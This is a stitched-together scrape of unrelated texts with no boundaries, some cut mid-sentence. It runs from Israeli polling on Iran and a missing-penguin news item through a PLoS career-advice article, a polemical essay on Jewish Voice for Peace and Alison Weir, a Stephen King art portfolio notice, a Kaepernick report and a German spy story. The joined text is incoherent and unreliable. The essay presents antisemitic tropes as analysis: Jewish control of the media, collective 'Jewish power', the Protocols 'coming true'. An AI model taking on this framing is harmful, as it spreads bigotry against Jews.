This is borne out by recent opinion polls, which show that a majority of Israelis oppose an attack on Iran. This month, a poll by Tel Aviv University's Guttman Centre found that 63 per cent of Israelis strongly or moderately oppose unilateral attack by Israel on Iran. Another poll, by Dahaf (an Israeli pollster), found that just 19 per cent supported a unilateral strike, while 42 per cent said they supported an attack only if it had US backing.
Whether Israel's leaders take heed remains to be seen; even if the movement continues to gain traction, it seems unlikely.DIVE IN: Emperor penguin Happy Feet slides off the back of the Tangaroa and into the Southern Ocean.
Happy Feet could be lost forever.
The transmitter attached to the wayward emperor penguin before his release at the start of the month appears to have stopped transmitting.
The transmitter had been sending back tracking information which showed he had travelled south and then east of his drop off location at 51 degrees south.
Our Far South, the company helping to use the tracking data to come up with locations, has not received a transmission since September 9.
Now, Sirtrack, the satellite tracking company behind Happy Feet's transmitter, believed he could have been eaten by a bigger animal.
Kevin Lay, a wildlife telemetry consultant at Sirtrack said it was the possibility that no-one wanted to think about, but Happy Feet could have become another creature's meal.
"That's what makes the world go round."
He said it was also possible the transmitter had fallen off, as this was not uncommon when using transmitters to track penguins.
It was initially thought that solar flares could be disrupting the signal, Our Far South said initially.
"After all it was only glued on and would have had to survive extreme conditions. It will be at least a couple of days before we know for sure that the transmitter is no longer working."
Other possibilities included transmitter damage or technical failure.
The company was still hoping to be pleasantly surprised and for the transmit to start working again.
"But if we don't get further readings then we'll have to hope for the best."Citation: Searls DB (2009) Ten Simple Rules for Choosing between Industry and Academia. PLoS Comput Biol 5(6): e1000388. https://doi.org/10.1371/journal.pcbi.1000388 Published: June 26, 2009 Copyright: © 2009 David B. Searls. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: The author received no specific funding for this article. Competing interests: The author has declared that no competing interests exist.
One of the most significant decisions we face as scientists comes at the end of our formal education. Choosing between industry and academia is easy for some, incredibly fraught for others. The author has made two complete cycles between these career destinations, including on the one hand 16 years in academia, as grad student (twice, in biology and in computer science), post-doc, and faculty, and on the other hand 19 years in two different industries (computer and pharmaceutical). The following rules reflect that experience, and my own opinions.
Rule 1: Assess Your Qualifications If you are a freshly minted Ph.D., you know that you will need a good post-doc or two before you can be seriously considered for a junior faculty position. If you're impatient, you might be thinking of industry as a way to short-circuit that long haul. You should be aware that companies will strongly consider your post-doctoral experience (or lack thereof) in determining your starting position and salary. While you may not relish extending your indentured servitude in academia, any disadvantage, financial and otherwise, can quickly be made up in the early years of your career in industry. In other words, trying to get off the mark quickly is not necessarily a good reason to choose industry over academia. On the other hand, you may have completed an undergraduate or Master's program with a view to going to industry all along, with never a thought of an academic career. You should still consider the point of the previous paragraph. While abbreviated “practical” bioinformatics training programs can be excellent, a Ph.D. is a significant advantage in all but the most IT-oriented positions in industry, at least at the outset. This is not to discourage anyone from embarking on a fast-track-to-industry program if their heart is in it, but be aware that the further you climb the educational ladder, the higher and faster you can start when you step across to the business ladder, and the better you will compete for a job in the first place. The days are long past when bioinformaticists were in such short supply that any qualification would do. If you are an old hand and have already notched up a post-doc or two, take stock of your star power. This unspoken but universally understood metric encompasses such factors as whom you've trained with, where you've published (and how much), and what recent results of yours are on everyone's lips. If you are fortunate enough to have significant capital in this department, then the world may be your oyster, but you still need to consider where you will get the greatest leverage. While your stardom may be less taken for granted in industry, my feeling is that academia is a better near-term choice in such circumstances. Consider that it was in academia that you achieved the success you own thus far, so you obviously “get it.” The simple fact is that academia is rather more of a star system (as in Hollywood) than is industry. Finally, if you count among your qualifications a stint in industry already, as an intern or perhaps as part of a collaboration, you will not only be in a better position to compete for a permanent job, but you will be much better prepared to make the decision facing you. Stated another way, if you are seriously considering industry as a career path, you should probably have already taken advantage of the many opportunities out there to dip your toes in the water.
Rule 2: Assess Your Needs In taking stock of your needs, and perhaps those of your family, a decent living is generally at or near the top of the list. Salaries are still higher in industry, though the gap is not nearly so wide as it once was. If you need a quick infusion of cash, companies may offer signing bonuses, though again these were more common when bioinformatics was a rarer commodity. Industry offers forms of compensation unavailable in academia, and you will need to consider how to value them relative to your present and future needs. Despite recent bad press, bonus systems are often part of the equation, and depending on your entry point they may constitute a significant percentage of total compensation. There is a tendency among academics to discount bonus programs in their comparison shopping, sometimes to zero, and this is a mistake. Bonuses are considered core aspects of compensation in most companies, and though they always have a performance-based multiplier, the base levels have historically been fairly dependable. That said, these are tough times in industry, and there are no guarantees. Your best strategy is to understand the reward system thoroughly, ask for historical data, and avoid comparing only base salaries unless you are extraordinarily risk-averse. Share options are another matter. While in the past these were very attractive, and fruitful in practice, most industry types will tell you frankly that any options they've received in the past decade are deep underwater and a deep disappointment. Many consider pharma shares (and therefore options) to be a bargain at the moment, but that's between you and your financial adviser to assess. In any case, it is not a short-term consideration, since options typically take several years to vest. If you are looking at biotech, however, share options and similar ownership schemes need to be a key consideration, since these are a major rationale for assuming risk—more on that below. Finally, you may have more specific needs to consider, such as a spouse also in need of a job. The two-body problem has always been tougher in academia than in industry, and probably always will be. If you are both academics, note that industry often has good contacts with local universities, and can facilitate interviews. Being a star certainly helps, so don't be afraid to negotiate. In fact, a general rule of thumb is that it never hurts to make your specific needs known, within reason. Academia will try to accommodate them as a community, while on the other hand business (particularly large, diversified companies) may have resources to address them that you wouldn't have expected. Nobody wants to hear a peremptory demand, but if a company wants you, be sure to let them know anything that might offer them a way to attract you.
Rule 3: Assess Your Desires There are needs, and then there are desires. Do you want riches? Fame? A life at the frontiers of knowledge? The hurly-burly of the business world? How do you really feel about teaching, publishing, managing, interacting, traveling, negotiating, collaborating, presenting, reporting, reviewing, fundraising, deal-making, and on and on? Though it may seem obvious, this is a good time to decide what really drives you. First, the obvious. Do you want to teach? If lecturing is in your blood, your decision is made, although if a smattering will suffice you may have the option from within industry of an adjunct academic appointment. (By the same token, if you are not so enchanted with lecturing, grading, tutoring, etc., there are often options for research track professorships that minimize teaching duties.) Do you want to publish? While it will always be “publish or perish” in academia, it is certainly possible to grow your CV in industry, and it can even enhance your career, depending on the company. However, it might be largely on your own time, and you will likely encounter restrictions in proprietary matters, though in practice you can generally find ways to work within them. Ask about publication at the interview, both policies and attitudes, and watch out for any defensiveness. An important question, surprisingly often overlooked, is how you want to actually spend your time, day by day and hour by hour. In academia, you will immediately be plunged into hands-on science, and your drivers will be to start out on your career by getting results, publishing, networking, and building your reputation with a view to impressing your tenure committee. A career in industry may put more of an early emphasis on your organizational aptitude, people skills, powers of persuasion, ability to strategize and execute to plan, etc.; in terms of growing your reputation, your audience will be the rather narrower community of your immediate management. A somewhat more cynical view would be that in business you will spend seemingly endless hours in meetings and writing plans and reports, while in academia you will spend all that time and more in grantsmanship—in this regard, you must pick your poison. Finally there is the elephant-in-the-room question: Do you want to make money, or to help people? This is, of course, a false dichotomy, but many people consciously or unconsciously frame the decision in just this way, and you had best deal with it. Try thinking of it not so much in terms of the profit motives of the respective institutions, but in terms of the people with whom you would spend your career. You should have encountered a good sampling of scientists from industry during meetings, internships, collaborations, interviews, etc. (or in any case you should certainly try to do so before making judgments). If you are left in any doubt as to their ethics or sincere desire to relieve human suffering as efficiently as possible, or if you feel these are somehow trumped by the corporate milieu, then by all means choose academia—but only after applying analogous tests to the academics you already know well. In my experience, business doesn't have a monopoly on greed, nor are humanitarian impulses restricted to academia. That said, in the final analysis you must be comfortable with your role in the social order and not finesse the question.
Rule 4: Assess Your Personality Not surprisingly, some personality types are better-suited to one environment or the other. Raw ambition can be viewed as unseemly in either case, but there is more latitude for it in industry, and greater likelihood of being recognized and rewarded sooner if you are “on the go.” In fact, one of the clearest differences between academia and industry are their respective time constants. Although the pace of academia may have quickened of late, it is still stately by comparison with industry, and much more scheduled (so many years to tenure, so many months to a funding decision, etc.). If you are impatient, industry offers relatively fast-paced decision-making and constant change. If you thrive more under structured expectations, academia would be better for you, for although industry has all the trappings of long-range strategies and career planning, the highly reactive environment means these are more honored in the breach. For one thing, reorganizations are common, and in the extreme case mergers (I have experienced two) can reset everything, for good or ill, and devour many months. This is not to say that all is chaos—industry certainly favors a goal-directed personality, but with plenty of flexibility. On the other hand, flexibility is more the hallmark of academic research, where you will have the opportunity to follow wherever the science leads, once you are running your own shop. In industry, the flexibility is more of the conforming sort, since you won't be able to investigate every promising lead and change your research direction at will. In academia, diverging from the Specific Aims of a grant may be a problem when the time comes to renew, but the risk is yours, as is the reward. In industry, you can make the case for a new program of research, but the decision is management's and will be guided by business considerations. The “lone wolf” or “one-person band” may be increasingly rare in academia in an age of collaboration, but it is unheard of in industry, where being able to work in teams with specialized division of labor is essential. It should be apparent, as well, that mavericks and quirky personalities tend to do better in academia. The pecking order in industry is deeper and more pyramidal than in academia, and you might end up languishing in a pay grade (or feel like you are), but there are usually plenty of opportunities for lateral moves and a variety of experiences—not to mention that it's easier to switch companies than colleges. In industry, one does need to be able to thrive in a hierarchy; you will always answer to someone, though the degree to which you are monitored will vary. By the same token, if your personality is such that climbing a management ladder and assuming steadily greater responsibility suits you, industry is built for that, and plenty of management training is on offer in larger companies. Learning to manage is much more hit-or-miss in academia; opportunities to lead large organizations are rare (and to manage them actively rather than by consensus, rarer still). If your personality type is that of a risk-taker, biotechs and/or startups may fit you to a tee. These are the wild and wooly end of the industry spectrum, and the risks and rewards are well-known. You will work longer hours than in large pharma, and maybe even more than in academia. You will most likely share more in ownership, and learn entrepreneurial skills that will serve you well, once the bug has bitten. Bear in mind the very common pattern of faculty spinning off startups or otherwise participating in boards and the like, not to mention staking out intellectual property (shared with their university); thus, you may well be able to scratch this itch from the vantage of academia as well. A final word about politics. Whether you are an enthusiastically political animal, or abhor this aspect of the human condition, you will encounter plenty of politics in both academia and industry. The flavors differ, to be sure. As a student you doubtless heard the clichés about tedious academic committees and underhanded deans, but you have probably had more exposure to the realities behind those stories than the corresponding ones about the dog-eat-dog corporate world. Company politics, I would hazard to say, are more transparent—the maneuvering more open and the motives more apparent. The results are often more life-altering, unbuffered by tenure and academic convention. Again, it is a matter of taste, but in my opinion the differences are overblown, for the simple reason that people are the same everywhere, in both environments governed by an underlying sense of fair play, but also occasional opportunism.
Rule 5: Consider the Alternatives As I've suggested, the choice you face is far more fine-grained than simply that between industry and academia. Industry is a spectrum, from large pharma to mature biotech to startup. By the same token, the academic side has at one extreme the research powerhouses, where you will be judged by volume of grants, and at the other the teaching institutions, which may not even have graduate departments. Unless you are very sure of yourself, you'd be well-advised to consider the full range, given the competition you may face. Also, don't neglect other careers that may value your training. If you love the language, consider science journalism, either writing or editing—Science and Nature have large staffs, and you will often encounter them and representatives of other journals at the same scientific meetings you attend. The same is true of government agencies such as the NIH, NSA, DOE, and so forth, where grants administration is very actively tied to research trends and can be an entrée into the world of science policy. There are many more such positions when foundations, interest groups, and other private funding bodies are included. If you have a knack for business, many management consulting firms have scientific and technical consulting arms that value Ph.D.s and offer intensive training opportunities, and, though it may not be attractive at the moment, a career as a financial analyst specializing in biotech is yet another possibility.
Rule 6: Consider the Timing The current business environment cannot help but be among your considerations. Pharma has certainly been contributing to the unemployment rolls of late. Corporate strategies, which used to be very similar across the sector, have started to diverge, so that some companies are divesting bioinformatics at the same time that others are hiring computational types disproportionately as they place more of an emphasis on mathematical modeling, systems approaches, pharmacogenomics, drug repurposing, and the like |
ethnic/religious lines... is possible.” Zionists and Israeli foreign policy makers had long floated such designs, which compel surrender to Israel’s domination of Palestine. Israel and the neocons wanted the US to overthrow Saddam Hussein in 1991, but had to wait for the 9/11 attacks.
Obviously, the interests of the military-industrial complex were congruent with those of the neocons. The war party at the top of politics is comprised of gentile radical nationalists like Donald Rumsfeld and Richard Cheney, as well as the neocons and the wider Israel Lobby. The neocon-radical alliance dates from the 1970s, and they and the Israel Lobby were not junior partners, but key enablers, in the Reaganite reaction, in the 1990 Gulf War, dual containment, the 2003 invasion of Iraq, and the ghastly sequelae. The argument can be made, in my view, that Zionism has radicalized US foreign policy, has activated potentialities in the US imperial polity, from coercing US support for Zionism in the 1940s onward, that would otherwise not have existed.
The Middle East has become the “eastern front” of the US empire, what eastern Europe and the Soviet Union were to Nazi Germany, site and sight of its most depraved deeds and ideologies: the “clash of civil- isations,” the “war on terror,” Islamophobia, and the burgeoning US police state. US Middle East policy is “about oil” like the Nazi invasion of the USSR in 1941 was “about Russian oil and wheat.” In both cases we look to radical nationalism, militarism and genocidal racism.
US policy in the Middle East is not consistent with US policy elsewhere, it is on a different plane entirely, in its destructiveness, at home and abroad, and also in its US advocates. In the matter of media coverage, which exercised Joel Beinin, Mearsheimer and Walt found that the Israel “lobby’s perspective on Israel is widely reflected in the mainstream media in part because a substantial number of commentators who write about Israel are themselves pro-Israel.” (33) Media critic Eric Alterman found that for “reasons of religion, politics, history and genuine conviction the punditocracy debate of the Middle East in America is dominated by people who cannot imagine criticizing Israel.” (34) Their tabulations are dominated by Jewish writers, editors and publishers. It appears to be a qualification for New York Times Israel correspondents and op-ed columnists to have a son in the Israeli military, (35) or are married into the Israeli establishment. (36) No Latin American dictator, no South African apartheid regime, ever enjoyed such partisanship.
Beinin continued:
As she has become more prominent Alison Weir (along with the Council for the National In- terest and Washington Report on the Middle East) has become a major spokesperson for the view that the US-Israel alliance uniquely (unlike US alliances with Saudi Arabia and Pakistan, for example) harms US national interests (which she does not define). While this is objection- able in its own right, it might not be a sufficient reason for JVP not to associate with her. Her uncomfortably frequent association with types like white supremacist Clay Douglas right wing racists like The American Free Press, and the anti-gay, anti-Jewish pastor Mark Dankof make her a liability for the movement.
CNI and Washington Report on Middle East Affairs focus on Israel because they were founded by US government officials whose careers were damaged or destroyed by the Israel Lobby. CNI and WRMEA understand the role of Israel, together with its US lobby, as a dynamic, radicalizing, destabilizing force, central to the catastrophe wrought by the US in the Middle East. A conference on the Israel Lobby orga- nized by CNI, WRMEA, and IRMEP in 2014 featured an impressive array of former government officials who catalogued Israel’s damage to the US and found that Israel is if anything an enemy, not an ally or a “strategic asset.” (37) Beinin, Chomsky, et al. ignore this vociferous criticism from national security veterans, who in their view can only be deluded about “US interests.” Nor is it clear that CNI and WRMEA support the current US relationships with Saudi Arabia and Pakistan.
The nominal cause of JVP’s “disassociation” and US Campaign to End the Occupation’s expulsion of If Americans Knew was interviews she gave to right-wing journalists (among hundreds given to other outlets), such as Clay Douglas, an obscure figure with a tiny audience who is trumpeted as another Hitler by the
Southern Poverty Law Center. All parties to the attack on Weir denounced Douglas as a “white supremacist” and anti-Semite. Douglas’s blog states: (37)
We Americans were born in a country founded on a violent and treacherous land grab from the original inhabitants, who themselves did not deal in real estate sales or mortgage fraud. Virtu- ally every treaty made by the US government was broken by the US Army, which conducted the first modern extermination program, today known as “ethnic cleansing.” The legal system of a country based on African slavery and extermination of its natives can only be an exercise in fraud and hypocrisy. (38)
The version of Douglas’s web page from last summer, when the attack on Weir became public, is avail- able on the Wayback Machine internet archive. (39) It contains a picture of Sitting Bull overlaid with the “Twelve Lakota Virtues,” from Unsiiciyapi (Humility) through Woksape (Wisdom). A biography page states, about the 1960s, “we stopped a war,” and recounts pursuits and avocations from head shops, marijuana legalization and libertarianism, to marine businesses, motorcycle manufacturing, firearms, making documentary films and writing novels. (40) Douglas has clashed with authorities ranging from his former father-in-law, to the federal government (near- fatally), to the Southern Poverty Law Center and the Anti-Defamation League. Douglas’s web pages also detail interests in Donald Trump, chem trails, Bitcoin, survivalism and other popular obsessions. The pages are crude, obviously made by a self-taught programmer.
JVP was especially incensed that Douglas cited the Protocols of the Elders of Zion, the Russian anti- Semitic forgery, among other anti-Semitic references on his pages. Douglas is not the only critic of Israel to cite the Protocols. The late activist and scholar Tanya Reinhart referred to the “present situation with the US lobby—as if the Protocols of the Elders of Zion had come to life.” (41) TV comedian Jon Stewart referred to the “elders of AIPAC” in a piece on presidential candidate pandering. (42)
Veteran Israeli politician Uri Avnery wrote that “if the authors of the falsification were to return to the scene of their crime today, they would rub their eyes in disbelief: this figment of their sick imagination looks like coming true.” (43)
Whether one views Douglas as an anti-Semite, or someone with a crude, ugly misapprehension of the real problem of Jewish power, perhaps depends on whether one views the Israel Lobby thesis as “objective anti-Semitism” or basically valid. JVP and End the Occupation collapse the complex, contradictory per- sonality of Douglas into a “hate” figure in order to smear Weir (after SPLC and the Jewish obsession with right-wing populism, rather than elite Zionism, as the font of evil).
Beinin uses vague, menacing, show trial language like “associating with” and “consorting with” to make granting interviews seem sinister and ominous. Rather than being spurned, it is probably better that far right audiences hear about distinctions between the Jewish public and organized Jewish leadership, as Weir drew, and hear that Muslim opposition to the US is the product of US policies, not Islamophobic motives. Douglas, and other right-wing outlets that interviewed Weir, such as American Free Press and Mark Dankof, have also interviewed Jewish critics of Zionism like Ilan Pappe, Jennifer Loewenstein and even Rebecca Vilkomerson of JVP, as well as many non-Jewish critics, who were not attacked for anti-Semitism by JVP and US Campaign.
Beinin concludes:
The most fundamental question that any movement must ask is, “Who are our friends and who are our enemies?” Alison Weir has chosen to consort uncritically with people who are not friends of any progressive, anti-racist movement for social justice. If she had done it once or twice or if she acknowledged it as an error, it might not be a major issue. Doing it repeatedly and affirming that there is no problem about this as long as she does not explicitly endorse the views of her interlocutors is naive at best. Whatever her intentions, this behavior gives our enemies more credibility when they assert that support for Palestinian rights, criticism of Israeli policies, BDS, and anti-Zionism are necessarily anti-Semitic. JVP should oppose AWs “soft” anti-Semitism just as we would oppose the more naked form of those she consorts with. This is both a matter of broad progressive principle and of particular importance for us as a Jewish organization. We cannot be maximally effective in supporting Palestinian rights if there is any basis for our enemies to claim that only Jews who consort with anti-Semites (or people who are “soft” on anti-Semitism) support Palestinian rights. Joel Beinin
The “most fundamental question that any movement must ask” is what it stands for. JVP stands for, among other things, Jewish control of the Palestine movement, behavior as old as “the occupation” itsself. A generation ago New Jewish Agenda sought to remove from progressive politics the goal of reducing US aid to Israel. (44) Today JVP seeks to suppress the Israel Lobby critique, and uses the charge of anti-Semitism for its ends, just like mainstream Jewish groups. Weir was accused of violating the “anti-racism principles” of the US Campaign to End the Occupation, (45) by unnamed member organizations. The “anti-racism” principles claim to “oppose Islamophobia, anti-Semitism, all forms of racism, and any other expressions of bigotry directed at any person or group.” JVP also claims that “our central tenet is opposition to racism in all its forms.” (46)
The “anti-racism principles” were drawn up in 2013, likely as part of a long-term plot against Weir. The “principles” mention only anti-Semitism and Islamophobia, which was protested. (47) Islamophobia has no followers in Palestine ranks, and “anti-racism principles” are unnecessary to oppose it. The “principles” ignore the history and literature of Zionism as a form of racism (48) and of Jewish anti-gentilism in the “diaspora.” This suggests that the purpose of the “anti-racism principles” is to support accusations of anti-Semitism, a common gambit of “anti-racist” politics world-wide. The insistence of US Campaign and JVP that they “oppose all forms of racism” while they use “anti-racism principles” that omit Zionism to mount a show trial over anti-Semitism calls to mind Lewis Carroll’s Through the Looking Glass.
“When I use a word,” Humpty Dumpty said, in rather a scornful tone, “it means just what I choose it to mean—neither more nor less.” “The question is,” said Alice, “whether you can make words mean so many different things.” “The question is,” said Humpty Dumpty, “which is to be master—that’s all.”
This was so egregious that, last summer, when the campaign against Alison Weir was at its height, the JVP leadership promised a “Zionism study group” to which members could “apply,” which would formulate a position on Zionism. Unsurprisingly, the idea died, until one member raised the question again this spring, and was eagerly seconded by eight other members. Facing another mutiny, Professor Beinin again donned his commissar hat to explain why taking a position on Zionism was inadvisable. Unlike his charges, Beinin understands that examining Zionism would expose the racialism and racism on which JVP is based. Like the discussion of the attack on Alison Weir, the Zionism study group discussion died.
As the attack on Alison Weir shows (among many things), JVP’s “Jewish politics” is power and privilege. “Jewish identity” can only be a personal, individual matter; outside a religious congregation, collectively, it is a form of Zionism.
As Peter Beinart observed, “privately, American Jews revel in Jewish power. But publicly, we often avoid discussing it for fear of feeding anti- Semitic myths.” (49) Or confirming them, as in the references to the Protocols noted above, the attack on Alison Weir, and the thuggish disruption of her talk in Walnut Creek.
Such reveling has for 50 years suppressed the critical tasks of the left: 1) a critique of Zionism and the Jewish people idea as Jewish race doctrine, opposing Jew and gentile everywhere; 2) a candid analysis of the Israel Lobby, from its debut in World War I to its maturity in the 1940s to its present cumulative radicalization; 3) recovering the classical liberal traditions, products of the Enlightenment and Jewish emancipation, which rejected Zionism categorically.
These include classical Reform Judaism, which rejected Jewish peoplehood and affirmed the position of Jews as a religious minority. Marxist internationalism viewed nationalism as an impediment to the unity of the working class and Zionism as colonialism. The late Israel Shahak dated “the modern secular [non-] Jewish tradition” from Spinoza, the greatest of the 17th c rationalist philosophers, who was expelled from his Amsterdam synagogue for his modern ideas. Shahak rejected Zionism as pre-modern recidivism. These traditions are the antipode to Zionism, and also to anti-Semitism, rather than backroom slanders about “objective anti-Semitism.”
Count Clermont-Tonnerre spoke for Jewish emancipation in the French National Assembly in December, 1789. The
adversaries of the Jewish people attack me. This people, they say, is not sociable... The worst of these reproaches is unjust; the others are only specious... No doubt these religious oddities will disappear; and if they do survive the impact of phi- losophy and the pleasure of finally being true citizens and sociable men, they are not infractions to which the law can or should pertain. But, they say to me, the Jews have their own judges and laws. I respond that is your fault and you should not allow it. We must refuse everything to the Jews as a nation and accord everything to Jews as individuals. It is repugnant to have in the state an association of non-citizens, and a nation within the nation... In short, Sirs, the presumed status of every man resident in a country is to be a citizen. (50)
The quasi-national organized Jewish society and sensibility violate the liberal compact that Clermont-Tonnerre outlined. Their quasi-sovereign power usurps the democratic sovereignty embodied in the US government, as famously stated in the Preamble to the Constitution. “We the People of the United States, in Order to form a more perfect Union... do ordain and establish this Constitution for the United States of America.” (51) The principle of democratic sovereignty, however corrupted and attenuated, makes the government accountable to its citizens, as the If Americans Knew web site states. “In a democracy, the ultimate responsibility for a nation’s actions rests with its citizens. The top rung of government—the entity with the ultimate power of governance—is the asserted will of the people. Therefore, in any democracy, it is essential that its citizens be fully and accurately informed.” (52)
Alison Weir entered politics to address her fellow citizens, and was attacked by the left Jewish establishment of völkisch sophistication, a variation on Jefferson Smith’s reception in the Frank Capra movie, Mr Smith Goes to Washington. The liberal foundations of the modern world remain the only way of addressing the issues raised by Zionism and the state of Israel, as Weir understands, if the Jewish left does not.
References
(1) http://www.jweekly.com/article/full/77314/student-protesters-scary-lesson-at-anti-israel-talk (note Weir’s comment on the article)
(2) http://ifamericansknew.org/
(3) http://www.ifamericansknew.org/about_us/accusations.html#4
(4) https://ww.amazon.com/Against-Our-Better-Judgment-History/dp/149591092X
(5) http://www.againstourbetterjudgment.com/reviews/
(6) Weir, Against Our Better Judgment, 12
(7) Naomi Cohen, The Americanization of Zionism, 1897-1948, 73-4, for a debate between Kallen and a Jewish critic
(8) Jewish Voice for Peace, Reframing Anti-Semitism. An Alternative Jewish Perspective, 5
(9) https://www.counterpunch.org/2011/05/30/move-over-aipac/
(10) http://www.palestinechronicle.com/jeffrey-blankfort-breaking-the-silence-on-the-israel-lobby/
(11) http://www.gilad.co.uk/writings/jeff-blankfort-to-azz-gabriel-ash.html
(12) http://www.jeffblankfortphotography.com/
(13) http://www.radio4all.net/index.php/contributor/1752
(14) http://www.wrmea.org
(15) http://www.irmep.org
(16) https://questionofpalestine.files.wordpress.com/2016/08/jvp_tax_2013.pdf
(17) https://www.counterpunch.org/2016/04/22/dying-to-forget-the-israel-lobby/
(18) Stephen Sniegoski, The Transparent Cabal. The Neoconservative Agenda, War in the Middle East, and the National Interest of Israel, 42; see Chap. 3 and references therein
(19) James Mann, Rise of the Vulcans, 405-6
(20) Eric Alterman, Sound and Fury. The Making of the Punditocracy, 229
(21) Sound and Fury, 235
(22) David Rogers, “Pro-Israel Lobbyists Quietly Backed Resolution Allowing Bush to Commit U.S. Troops to Combat,” Wall Street Journal, January 28, 1991
(23) http://www.alternativeradio.org/products/beij001
(24) John R. Mearsheimer and Stephen M. Walt, The Israel Lobby and U.S. Foreign Policy, 286-91; see also Sasan Fayezmanesh, The United States and Iran. Sanctions, wars and the policy of dual containment
(25) The Transparent Cabal, 83
(26) The Transparent Cabal, 90
(27) Steve Coll, Ghost Wars. The Secret History of the CIA, Afghanistan and bin Laden, from the Soviet Invasion to September 10, 2001, 87
(28) Michael Scheuer, Osama bin Laden, 98
(29) Max Rodenbeck, “Their Master’s Voice,” New York Review of Books, March 9, 2006 http://www.nybooks.com/articles/2006/03/09/their-masters-voice/
(30) http://www.merip.org/mero/mero040603
(31) http://foreignpolicy.com/2011/08/02/when- did-the-american-empire-start-to-decline/
(32) http://www.informationclearinghouse.info/pdf/The%20Zionist%20Plan%20for%20the%20Middle%20East.pdf
(33) The Israel Lobby and U.S. Foreign Policy, 169
(34) http://www.alternet.org/story/12769/intractable_foes,_warring_narratives
(35) http://mondoweiss.net/2014/10/another-reporters-israeli
(36) http://fair.org/extra-online-articles/new-conflict-of-interest-at-nyt-jerusalem-bureau/
(37) http://dissidentvoice.org/2014/03/ending-the-passionate-attachment/
(38) http://www.blogtalkradio.com/claydouglas/2015/06/17/the-free-american
(39) https://web.archive.org/web/20150801163836/http:/freeamerican.com/
(40) http://unitedtruthseekers.com/profiles/blogs/your-christmas-present-from-the-free-american-clay-douglas
(41) http://mondoweiss.net/2008/09/late-tanya-reinhart-reportedly-likened-lobby-to-protocols-of-elders-of-zion
(42) http://www.cc.com/video-clips/zso85j/the-daily-show-with-jon-stewart-indecision-5768
(43) https://www.counterpunch.org/2011/07/22/the-charge-of-the-new-york-times/
(44) http://student.cs.ucc.ie/cs1064/jabowen/IPSC/articles/article0018834.html
(45), http://www.endtheoccupation.org/article.php?id=3403
(46) https://jewishvoiceforpeace.org/letter-to-alison-weir/
(47) https://www.counterpunch.org/2013/08/23/racism-and-the-movement-to-end-the-israeli-occupation/
(48) http://eaford.org/publications/1/ZIONISM%20&%20RACISM.pdf
http://www.press.uchicago.edu/ucp/books/book/distributed/I/bo22562266.html
(49) Peter Beinart, The Crisis of Zionism, 5
(50) https://chnm.gmu.edu/revolution/d/284/
(51) http://constitutioncenter.org/interactive-constitution/preamble
(52) http://ifamericansknew.org/about_us/Featuring illustrations by
David Palladini From the novel by
Stephen King
We are excited to announce the publication of
The Eyes of the Dragon Art Portfolio.
The Eyes of the Dragon is a novel by Stephen King that was first published in a 1984 limited edition via King’s personal imprint, Philtrum Press, and in a trade edition by Viking in 1987. Originally written for his daughter Naomi, the book is a work of fantasy.
Artist David Palladini was commissioned to create a series of new illustrations for the trade edition. Mr. Palladini created twenty-four original illustrations that were rendered in pencil and ink on Bienfang velour paper.
This is the first official art portfolio to be published featuring the illustrations from the Viking trade edition of The Eyes of the Dragon. It also marks the 30th anniversary of the original Viking publication of the book.
About the Edition
The portfolio is published in two editions, both of which are signed by David Palladini: a numbered edition of three hundred copies and a lettered edition of twenty-six copies.
Both editions include twenty-two black & white illustrations and two color illustrations. An afterword written exclusively for this edition by David Palladini is included in both editions. A previously unpublished drawing and a reproduction of the only extant copy of the Viking Title page illustration, hand-colored by David Palladini, are included in both editions.
The text has been set in Waters Titling and Warnock Pro typefaces and letterpress printed from photopolymer plates by Norman Clayton of Classic Letterpress in Ojai, California on his 18” x 23” Heidelberg Cylinder press. The text pages are printed on 100% cotton paper which has the feel of fabric. The papers used in these editions are environmentally responsible and acid free.
Numbered Edition
The numbered portfolio measures 10” x 15½”. The illustrations are printed on premium archival paper and are housed in a clamshell box of European linen book cloth over archival boards. Publication price: $295.
Lettered Edition
The lettered portfolio measures 12” x 18”. The illustrations are printed on 100% cotton paper. The portfolio is accompanied by a photogravure print that is numbered and signed by the artist. The photogravure was made by Jon Goodman at his studio in Florence, Massachusetts. The print has been hand-pulled on Somerset Velvet 100% cotton mould made paper from St. Cuthbert’s Mill, England by Jon Goodman. Each print has been embossed with the printer’s mark. The illustrations are housed in a clamshell box of Japanese book cloth over archival boards. Publication price: $795.
Publication will coincide with the release of the movie adaptation of Stephen King’s best-selling epic, The Dark Tower. Two characters from The Eyes of the Dragon have a brief cameo appearance in The Drawing of the Three, the second book in the Dark Tower series, and the novel is set in the Kingdom of Delain, a location that is mentioned in the Dark Tower series a number of times.
Publication Date: 7/7/17
Numbered edition :
: ISBN: 978-0-9988649-0-7
Publication price: $295
OUT OF PRINT Lettered edition :
: ISBN: 978-0-9988649-1-4
Publication price: $795
OUT OF PRINTVIDEO=> KAEPERNICK BOOED LOUDLY after Sitting During Anthem on Military Night
San Francisco Quarterback Colin Kaepernick was booed when he entered the field in San Diego on Thursday night.
Colin Kaepernick is booed as he takes the field for warmups in San Diego. pic.twitter.com/n2maH6pn29 — USA TODAY Sports (@USATODAYsports) September 2, 2016
Kaepernick was BOOED LOUDLY for sitting AGAIN during the National Anthem on Military Night in San Diego.
The crowd didn’t like it.
Kaepernick sat during the anthem because of police crimes against blacks.
The crowd booed him the entire first half.
USA Today reported:
After hearing loud and sustained boos directed at him during the San Francisco 49ers’ preseason game against the San Diego Chargers on Thursday night, Colin Kaepernick called the crowd’s negative reaction a “misunderstanding.” Kaepernick, the 49ers quarterback, said the reason he refuses to stand for the national anthem has been distorted. He also said he will donate $1 million to groups that help people affected by the issues he is trying to spotlight — such as racial inequality and police brutality — with his continued protest. “The media painted this as I’m anti-American, anti-men-and-women of the military and that’s not the case at all,’’ Kaepernick said after playing the first half of the 49ers’ 31-21 victory over the Chargers. “I realize that men and women of the military go out and sacrifice their lives and put themselves in harm’s way for my freedom of speech and my freedoms in this country and my freedom to take a seat or take a knee so I have the utmost respect for them.
Colin Kaepernick getting Booed!! 🇺🇸 https://t.co/U2c2KZfds1 — The Prince Of NJ (@iamLilKarl) September 2, 201632-year-old, identified as Markus R, accused of offering his services to US and Russian intelligence while working for Germany’s foreign intelligence agency
Germany has charged a spy who allegedly acted as a double agent for the US and Russia with treason, breach of official secrecy and taking bribes.
The 32-year-old, identified only as Markus R due to privacy rules, is accused of offering his services to the CIA in early 2008 while working for Germany’s foreign intelligence agency, the BND. Documents he gave the US spy agency would have revealed details of the BND’s work and personnel abroad, officials said.
